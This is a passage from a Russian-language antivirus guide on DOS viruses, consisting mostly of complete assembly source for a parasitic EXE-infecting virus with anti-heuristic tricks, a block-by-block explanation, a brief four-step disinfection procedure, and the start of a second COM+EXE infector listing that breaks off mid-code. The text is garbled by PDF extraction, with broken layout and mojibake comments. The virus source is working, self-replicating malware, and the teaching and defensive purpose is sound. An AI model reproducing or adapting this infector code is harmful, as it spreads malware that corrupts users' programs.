Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfDOS вирусы |
41 |
|
|
Рассмотрим листинг:
;---------------------------------------- |
|
|
||
.model tiny |
|
|
; |
Модель памяти |
.code |
|
|
; |
Сегмент кода |
org 100h |
|
|
; |
начинаем работу со 100h |
id = 'NF' |
|
|
; |
метка, по которой определяется, |
|
|
|
; |
инфицирован ли файл |
startvirus: |
|
|
; |
начало вирусного кода |
|
call |
next |
; |
пересчитаем смещение |
next: |
pop |
bp |
; |
|
|
int 1h |
; |
антиэвристика |
|
|
sub |
bp,offset next |
; |
|
|
cmp sp,id |
; |
если файл не инфицирован, то |
|
|
jne restore_done |
; |
и восстанавливать не надо. |
|
restore_exe: |
|
|
|
|
|
push |
ds |
|
|
|
push |
es |
|
|
|
push |
cs |
; |
DS = CS |
|
pop |
ds |
|
|
|
push |
cs |
; |
ES = CS |
|
pop |
es |
|
|
|
lea |
si,[bp+jmpsave] |
|
|
|
lea |
di,[bp+jmpsave2] |
|
|
|
movsw |
|
|
|
|
movsw |
|
|
|
|
movsw |
|
|
|
|
movsw |
|
|
|
restore_done: |
|
|
|
|
|
mov |
ah,1Ah |
; |
Установим новый DTA |
|
lea |
dx,[bp+newDTA] |
; |
DTA @ DS:DX |
|
int |
21h |
|
|
SEARCH: |
|
|
|
|
|
lea dx,[bp+EXE_MASK] |
; |
Установим в регистр dx маску *.exe |
|
|
call FINDFIRST |
; |
Вызовем процедуру поиска |
|
QUIT: |
|
|
|
|
|
mov |
ah,1ah |
; |
|
|
mov |
dx,80h |
; |
Восстановим оригинальный DTA |
|
cmp sp,ID-4 |
; |
Åñëè *.exe ôàéë |
|
|
jz QUIT_EXE |
; |
то выход из *.exe файла |
|
QUIT_COM: |
|
|
|
|
|
int |
21h |
; |
Иначе выходим из *.com файла |
|
retn |
|
|
|
quit_exe: |
|
|
|
|
|
pop |
es |
|
|
|
pop |
ds |
; |
DS->PSP |
|
int |
21h |
|
|
|
mov |
ax,es |
; |
AX = PSP сегмент |
|
add |
ax,16 |
; |
для восстановления PSP |
|
add |
word ptr cs:[bp+jmpsave2+2],ax |
|
|
|
add |
ax,word ptr cs:[bp+stacksave+2] |
|
|
|
cli |
|
; Запретим прерывания |
|
42 |
DOS вирусы |
|
|
mov |
sp,word ptr cs:[bp+stacksave] |
mov |
ss,ax |
sti |
|
|
db 0eah |
; |
опкод команды jmp |
jmpsave2 |
dd ? |
; |
оригинальный CS:IP |
stacksave |
dd ? |
; |
Оригинальный SS:SP |
jmpsave |
dd ? |
; Необходим для файла-носителя |
|
stacksave2 |
dd ? |
|
|
creator |
db '[sl0n]' |
|
|
end_search: |
|
|
|
retn |
|
|
|
;--------------------------------------------- |
|
|
|
findfirst: |
|
|
|
mov |
ah,4eh |
; |
DOS функция Findfirst |
xor |
cx,cx |
; |
любой атрибут |
findfirstnext: |
|
|
|
int |
21h |
; DS:DX указывает на маску |
|
jc |
end_search |
; если больше файлов нет, то на выход |
|
|
|
; Открываем на чтение |
|
call |
open |
|
|
mov |
ah,3fh |
; Прочитаем из файла в буфер |
|
lea |
dx,[bp+buffer] |
; @ DS:DX |
|
mov |
cx,1Ah |
; 26 áàéò |
|
int |
21h |
|
|
mov |
ah,3eh |
; После чтения закрываем файл |
|
int |
21h |
|
|
checkEXE: |
|
|
|
cmp |
word ptr [bp+buffer+10h],id |
; Если файл не заражен, то заражаем его |
|
jnz |
infect_exe |
|
|
find_next: |
|
|
|
mov |
ah,4fh |
; Иначе ищем новую жертву |
|
jmp |
short findfirstnext |
|
|
infect_exe: |
|
|
|
les |
ax, dword ptr [bp+buffer+14h] ; Сохраним старую точку входа |
||
mov |
word ptr [bp+jmpsave], ax |
|
|
mov |
word ptr [bp+jmpsave+2], es |
|
|
les |
ax, dword ptr [bp+buffer+0Eh] ; Сохраним старый стэк |
||
mov |
word ptr [bp+stacksave2], es |
|
|
mov |
word ptr [bp+stacksave2+2], ax |
|
|
mov ax, word ptr [bp+buffer + 8] mov cl, 4
shl ax, cl xchg ax, bx
;Возьмем размер exe заголовка
;переведем его в байты
les |
ax, [bp+offset newDTA+26] |
; |
Положим |
размер файла |
mov |
dx, es |
; |
â DX:AX |
|
push |
ax |
|
|
|
push |
dx |
|
|
|
DOS вирусы |
|
43 |
|
|
|
sub |
ax, bx |
; Отнимем размер заголовка от |
sbb |
dx, 0 |
; размера файла |
mov |
cx, 10h |
; Переведем в форму |
div |
cx |
; сегмент:смещение |
mov |
word ptr [bp+buffer+14h], dx |
; Новая точка входа |
mov |
word ptr [bp+buffer+16h], ax |
|
mov |
word ptr [bp+buffer+0Eh], ax |
; È ñòýê |
mov |
word ptr [bp+buffer+10h], id |
|
pop |
dx |
; Возьмем длину файла |
pop |
ax |
|
add |
ax, heap-startvirus |
; И длину вирусного тела |
adc |
dx, 0 |
|
mov |
cl, 9 |
; 2**9 = 512 |
push |
ax |
|
shr |
ax, cl |
|
ror |
dx, cl |
|
stc |
|
|
adc |
dx, ax |
; Размер файла в страницах |
pop |
ax |
|
and |
ah, 1 |
; 512 байтных |
mov |
word ptr [bp+buffer+4], dx |
; Новый размер файла |
mov |
word ptr [bp+buffer+2], ax |
|
push |
cs |
; Восстановим ES |
pop |
es |
|
mov |
cx, 1ah |
|
finishinfection: |
|
|
push |
cx |
; сохраним в стэке 1ah |
call |
open |
|
mov |
ah,40h |
; DOS функция записи в файл |
int 1h |
; Антиэвристика |
|
lea |
dx,[bp+buffer] |
; Пишем из буфера |
pop |
cx |
; cx áàéò (1Ah) |
int |
21h |
|
mov |
ax,4202h |
; Переставим указатель |
xor |
cx,cx |
; в конец файла |
cwd |
|
; xor dx,dx |
int |
21h |
|
mov |
ah,40h |
; Допишем тело вируса |
int 1h |
; Антиэвристика |
|
lea |
dx,[bp+startvirus] |
|
mov |
cx,heap-startvirus |
; кол-во байт для записи (длина вируса) |
int |
21h |
|
mov |
ah,3eh |
; Закроем файл |
int |
21h |
|
mo_infections:
jmp find_next
44 |
|
|
DOS вирусы |
|
|
|
|
open: |
|
|
|
|
mov |
ax,3d02h |
|
|
lea |
dx,[bp+newDTA+30] |
; Имя файла в DTA |
|
int |
21h |
|
|
xchg |
ax,bx |
|
|
ret |
|
|
exe_mask |
|
db '*.exe',0 |
|
heap: |
|
|
; Временные переменные |
newDTA |
|
db 42 dup (?) |
; Временный DTA |
buffer |
|
db 1ah dup (?) |
; Буфер для чтения |
endheap: |
|
|
; Конец вируса |
end |
startvirus |
|
|
;--------------------------------------- |
|
|
|
Рассмотрим данный вирус более подробно. |
|||
Первый блок: |
|
||
;----------------------------------------- |
|
|
|
startvirus: |
|
; начало вирусного кода |
|
|
call |
next |
; пересчитаем смещение |
next: |
pop |
bp |
; |
|
int 1h |
; антиэвристика |
|
|
sub |
bp,offset next |
; |
|
cmp sp,id |
; если файл не инфицирован, то |
|
|
jne restore_done |
; и восстанавливать не надо. |
|
restore_exe: |
|
|
|
|
push |
ds |
|
|
push |
es |
|
|
push |
cs |
; DS = CS |
|
pop |
ds |
|
|
push |
cs |
; ES = CS |
|
pop |
es |
|
|
lea |
si,[bp+jmpsave] |
|
|
lea |
di,[bp+jmpsave2] |
|
|
movsw |
|
|
|
movsw |
|
|
|
movsw |
|
|
|
movsw |
|
|
;-------------------------------------- |
|
|
|
В начале этого блока мы получаем дельта-смещение, а потом, если мы были запущены из инфицированного файла, восстанавливаем заголовок.
Второй блок:
;--------------------------------------- |
|
|
restore_done: |
|
|
mov |
ah,1Ah |
; Установим новый DTA |
lea |
dx,[bp+newDTA] |
; DTA @ DS:DX |
int |
21h |
|
SEARCH: |
|
|
lea dx,[bp+EXE_MASK] |
; Установим в регистр dx маску *.exe |
|
call FINDFIRST |
; Вызовем процедуру поиска |
|
DOS вирусы |
|
|
45 |
|
|
|
|
QUIT: |
|
|
|
mov ah,1ah |
; |
|
|
mov dx,80h |
; |
Восстановим оригинальный DTA |
|
cmp sp,ID-4 |
; |
Åñëè *.exe ôàéë |
|
jz QUIT_EXE |
; |
то выход из *.exe файла |
|
QUIT_COM: |
|
|
|
int 21h |
; Иначе выхоим из *.com файла |
||
retn |
|
|
|
quit_exe: |
|
|
|
pop |
es |
|
|
pop |
ds |
; |
DS->PSP |
int |
21h |
|
|
mov |
ax,es |
; |
AX = PSP сегмент |
add |
ax,16 |
; для восстановления PSP |
|
add |
word ptr cs:[bp+jmpsave2+2],ax |
|
|
add |
ax,word ptr cs:[bp+stacksave+2] |
|
|
cli |
|
; |
Запретим прерывания |
mov |
sp,word ptr cs:[bp+stacksave] |
|
|
mov |
ss,ax |
|
|
sti |
|
|
|
db |
0eah |
; |
Опкод команды jmp |
jmpsave2 |
dd ? |
; |
Оригинальный CS:IP |
stacksave |
dd ? |
; |
Оригинальный SS:SP |
jmpsave |
dd ? |
; |
Необходим для файла-носителя |
stacksave2 |
dd ? |
|
|
creator |
db '[sl0n]' |
|
|
end_search: |
|
|
|
retn |
|
|
|
;------------------------------------------ |
|
|
|
Вначале устанавливается новый DTA, потом идет поиск файла и его инфицирование. После инфицирования восстанавливается DTA, PSP и передается управление оригинальной программе.
Перейдем к третьему блоку:
;--------------------------------------- |
|
|
findfirst: |
|
|
mov |
ah,4eh |
; DOS функция Findfirst |
xor |
cx,cx |
; любой атрибут |
findfirstnext: |
|
|
int |
21h |
; DS:DX указывает на маску |
jc |
end_search |
; если больше файлов нет, то на выход |
|
|
; Открываем на чтение |
call |
open |
|
mov |
ah,3fh |
; Прочитаем из файла в буфер |
lea |
dx,[bp+buffer] |
; @ DS:DX |
mov |
cx,1Ah |
; 26 áàéò |
int |
21h |
|
mov |
ah,3eh |
; После чтения закрываем файл |
46 |
DOS вирусы |
|
|
int |
21h |
checkEXE: |
|
cmp |
word ptr [bp+buffer+10h],id ; Если файл не заражен, то заражаем его |
jnz |
infect_exe |
;--------------------------------------------- |
|
В данном блоке ищется файл, открывается и из него читается 26 байт. Файл закрывается, и затем файл проверяется на инфицированность, и если он не инфицирован, то идет переход на метку infect_exe.
Перейдем к четвертому блоку:
;---------------------------------------------- |
|
|
find_next: |
|
|
mov |
ah,4fh |
; Иначе ищем новую жертву |
jmp |
short findfirstnext |
|
infect_exe: |
|
|
les |
ax, dword ptr [bp+buffer+14h] ; Сохраним старую точку входа |
|
mov |
word ptr [bp+jmpsave], ax |
|
mov |
word ptr [bp+jmpsave+2], es |
|
les |
ax, dword ptr [bp+buffer+0Eh] ; Сохраним старый стэк |
|
mov |
word ptr [bp+stacksave2], es |
|
mov |
word ptr [bp+stacksave2+2], ax |
|
mov ax, word ptr [bp+buffer + 8] mov cl, 4
shl ax, cl xchg ax, bx
;Возьмем размер exe заголовка
;переведем его в байты
les |
ax, [bp+offset newDTA+26] |
; Положим размер файла |
mov |
dx, es |
; â DX:AX |
push |
ax |
|
push |
dx |
|
sub |
ax, bx |
; Отнимем размер заголовка от |
sbb |
dx, 0 |
; размера файла |
mov |
cx, 10h |
; Переведем в форму |
div |
cx |
; сегмент:смещение |
mov |
word ptr [bp+buffer+14h], dx |
; Новая точка входа |
mov |
word ptr [bp+buffer+16h], ax |
|
mov |
word ptr [bp+buffer+0Eh], ax |
; È ñòýê |
mov |
word ptr [bp+buffer+10h], id |
|
pop |
dx |
; Возьмем длину файла |
pop |
ax |
|
add |
ax, heap-startvirus |
; И длину вирусного тела |
adc |
dx, 0 |
|
mov |
cl, 9 |
; 2**9 = 512 |
push |
ax |
|
shr |
ax, cl |
|
ror |
dx, cl |
|
stc |
|
|
adc |
dx, ax |
; Размер файла в страницах |
DOS вирусы |
|
47 |
|
|
|
pop |
ax |
|
and |
ah, 1 |
; 512 байтных |
mov |
word ptr [bp+buffer+4], dx |
; Новый размер файла |
mov |
word ptr [bp+buffer+2], ax |
|
push |
cs |
; Восстановим ES |
pop |
es |
|
mov |
cx, 1ah |
|
;------------------------------------------- |
|
|
В данном блоке пересчитывается новая точка входа и записывается в ту же переменную. Основное в данном блоке — это арифметические операции.
Последний блок:
;------------------------------------------
finishinfection:
push |
cx |
; сохраним в стэке 1ah |
call |
open |
|
mov |
ah,40h |
; DOS функция записи в файл |
int 1h |
; Антиэвристика |
|
lea |
dx,[bp+buffer] |
; Пишем из буфера |
pop |
cx |
; cx áàéò (1Ah) |
int |
21h |
|
mov |
ax,4202h |
; Переставим указатель |
xor |
cx,cx |
; в конец файла |
cwd |
|
; xor dx,dx |
int |
21h |
|
mov |
ah,40h |
; Допишем тело вируса |
int 1h |
; Антиэвристика |
|
lea |
dx,[bp+startvirus] |
|
mov |
cx,heap-startvirus |
; кол-во байт для записи (длина вируса) |
int |
21h |
|
mov |
ah,3eh |
; Закроем файл |
int |
21h |
|
mo_infections: |
|
|
jmp find_next |
|
|
open: |
|
|
mov |
ax,3d02h |
|
lea |
dx,[bp+newDTA+30] |
; Имя файла в DTA |
int |
21h |
|
xchg |
ax,bx |
|
ret |
|
|
;------------------------------------------- |
|
|
В этом последнем блоке вначале переписывается заголовок *.exe файла из переменной buffer, а потом к концу программы дописывается основное тело вируса, и после этого файл закрывается. Для уменьшения размера и упрощения открытия файлов используется процедура open.
48 |
DOS вирусы |
|
|
Лечение данного вируса производится по следующему алгоритму:
1)обнаружить инфицированный файл;
2)определить место, где находятся оригинальные байты из *.exe заголовка;
3)восстановить оригинальные байты;
4)удалить хвост вируса.
Вcе вирусы, которые были приведены до этого, разработчики антивирусного обеспечения именуют как «студенческие», что в их понимании означает простейшие.
3.3. Простейшие *.COM + *.EXE вирусы
Дальше после простейших *.com и *.exe паразитов на эволюционной лестнице компьютерных вирусов стоят комбо-вирусы, т. е. вирусы, заражающие как *.com так и *.exe. Эти вирусы базируются на описанных выше методах инфицирования *.com и *.exe программ. Другими словами, это два предыдущих вируса, объединенные в один.
Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:
б) после инфицирования:
В данном случае мы не можем точно сказать, настоящий это JMP или всего лишь передача управления. Это все зависит от формата зараженной программы.
Рассмотрим листинг:
;---------------------------------------------- |
|
|
ID |
= 'FN' |
; Метка заражения |
|
.model tiny |
; Модель памяти |
|
.code |
; |
|
org 100h |
; |
MAIN: |
db 0e9h,00h,00h |
; Jmp START_VIRUS |
START |
proc near |
|
START_VIRUS: |
|
|
|
call FIND_OFFSET |
; |
FIND_OFFSET: |
pop bp |
; в BP находится текущий IP |
|
int 1h |
; Антиэвристика |
|
sub bp, offset FIND_OFFSET |
; Считаем дельта-смещение |
DOS вирусы |
49 |
|
|
; для адресации данных
;
;Смотрим, из какой программы мы запустились, и на ID при
;при заражении *.EXE хранится в SP (stack pointer) указатель на стэк
|
cmp sp,ID |
; COM èëè EXE? |
|
je RESTORE_EXE |
; ß *.EXE |
; Восстанавливаем |
первые байты *.COM файла |
|
RESTORE_COM: |
lea si,[bp+COM_START] |
; Восстанавливаем 3 байта |
|
mov di,100h |
; оригинальные |
|
push di |
; 3 байта |
|
movsw |
; |
|
movsb |
|
|
jmp short RESTORE_DONE |
|
; Восстанавливаем оригинальный заголовок *.EXE файла |
||
RESTORE_EXE: |
push ds |
; Сохраняем DS |
|
push es |
; Сохраняем ES |
|
push cs |
; Устанавливаем DS = CS |
|
pop ds |
|
|
push cs |
; Устанавливаем ES = CS |
|
pop es |
|
|
lea si,[bp+JMPSAVE] |
; Сохраняем CS:IP и |
|
lea di,[bp+JMPSAVE2] |
; SS:SP |
|
movsw |
; |
|
movsw |
|
|
movsw |
|
|
movsw |
|
RESTORE_DONE: |
lea dx,[bp+DTA] |
; Указатель на новый DTA |
|
mov ah,1ah |
; |
|
int 21h |
; Устанавливаем новый DTA |
; Ищем файлы для инфицирования |
|
|
SEARCH: |
lea dx,[bp+EXE_MASK] |
; Ищем по маске *.EXE |
|
call FINDFIRST |
; |
|
lea dx,[bp+COM_MASK] |
; Ищем по маске *.COM |
|
call FINDFIRST |
; |
; Возвращаем управление оригинальной программе |
|
|
QUIT: |
|
|
|
push ds |
; Сохраняем DS |
|
pop ds |
; Восстанавливаем DS |
|
mov ah,1ah |
; |
|
mov dx,80h |
; Восстанавливаем оригинальный DTA |
|
cmp sp,ID-4 |
; EXE или COM? ES,DS в стэке |
|
jz QUIT_EXE |
; Передаем управление *.EXE |
QUIT_COM: |
int 21h |
; |
|
retn |
; Передаем управление *.COM файлу |
QUIT_EXE: |
pop es |
; Восстанавливаем ES |
|
pop ds |
; Восстанавливаем DS |
|
int 21h |
; |
50 |
|
|
|
|
DOS вирусы |
|
|
|
|
|
|
|
mov |
ax,es |
; |
AX = началу PSP сегмента |
|
|
add |
ax,16 |
; Добавим размер PSP, чтобы получить CS |
||
|
add |
word ptr cs:[bp+JMPSAVE2+2],ax ; Восстанавливаем IP |
|||
|
add |
ax,word ptr cs:[bp+STACKSAVE2+2] ; Вычисляем SS |
|||
|
cli |
|
; Выключаем прерывания |
||
|
mov |
sp,word ptr cs:[bp+STACKSAVE2] ; Восстанавливаем SP |
|||
|
mov |
ss,ax |
; |
Восстанавливаем SS |
|
|
sti |
|
; |
Включаем прерывания |
|
|
db 0eah |
; |
jmp SSSS:OOOO |
||
JMPSAVE2 |
dd ? |
|
; |
CS:IP |
|
STACKSAVE2 |
dd ? |
|
; |
SS:SP |
|
JMPSAVE |
dd ? |
|
; |
EXE CS:IP |
|
STACKSAVE |
dd ? |
|
; EXE SS:SP |
|
|
msg |
db '[c0mb0 chUmA by sl0n]',0ah,0dh,'$' |
; Сообщение |
|||
;--------------------------------------------- |
|
|
|
||
; DOS Findfirst / |
Findnext функции |
|
|
|
|
FINDFIRST: |
mov |
ah,4eh |
; |
DOS find first функция |
|
|
xor |
cx,cx |
; |
Искать файлы с любыми атрибутами |
|
FINDNEXT: |
int |
21h |
; |
|
|
|
jc END_SEARCH |
; Если файлов больше нет или |
|||
|
|
|
; |
ошибки, то идем на выход |
|
; Открываем файл |
|
|
|
|
|
|
call OPEN |
; Открываем файл |
|||
; Читаем заголовок файла (24 байта) |
|
|
|
||
|
mov |
ah,3fh |
; |
DOS функция чтение из файла |
|
|
lea |
dx,[bp+BUFFER] |
; |
читаем в BUFFER |
|
|
mov |
cx,24 |
; |
24 байта |
|
|
int |
1h |
; Антиэвристика |
||
|
int |
21h |
; |
|
|
|
mov |
ah,3eh |
; |
DOS функция закрытия файла |
|
|
int |
21h |
; |
|
|
; Проверяем файл *.EXE или нет |
|
|
|
||
CHECK_EXE: |
cmp |
word ptr [bp+BUFFER],'ZM' |
; |
|
|
|
jne |
CHECK_COM |
; Если файл не *.EXE то на проверку *.COM |
||
|
cmp |
word ptr [bp+BUFFER+16],ID; ОН заражен |
|
||
|
je ANOTHER |
; Да, ищем следующий |
|||
|
jmp |
short INFECT_EXE |
; Нет ? Ну тогда заразим его! |
||
; Проверяем *.COM это |
случаем не COMMAND.COM |
|
|
|
|
CHECK_COM: |
cmp |
word ptr [bp+DTA+35],'DN' |
; |
|
|
|
jz ANOTHER |
; Да, ищем другой |
|||
; Проверим заражен *.COM файл |
|
|
|
||
; |
|
|
|
|
|
|
mov |
ax,word ptr [bp+DTA+26] |
; Кладем размер в ax |
||
|
cmp |
ax,(65535-(ENDHEAP-START_VIRUS)); Если слишком большой. |
|||
|
jle |
ANOTHER |
; Ищем новый |
|
|
|
mov |
cx,word ptr [bp+BUFFER+1] |
; Кладем смещение в cx |
||
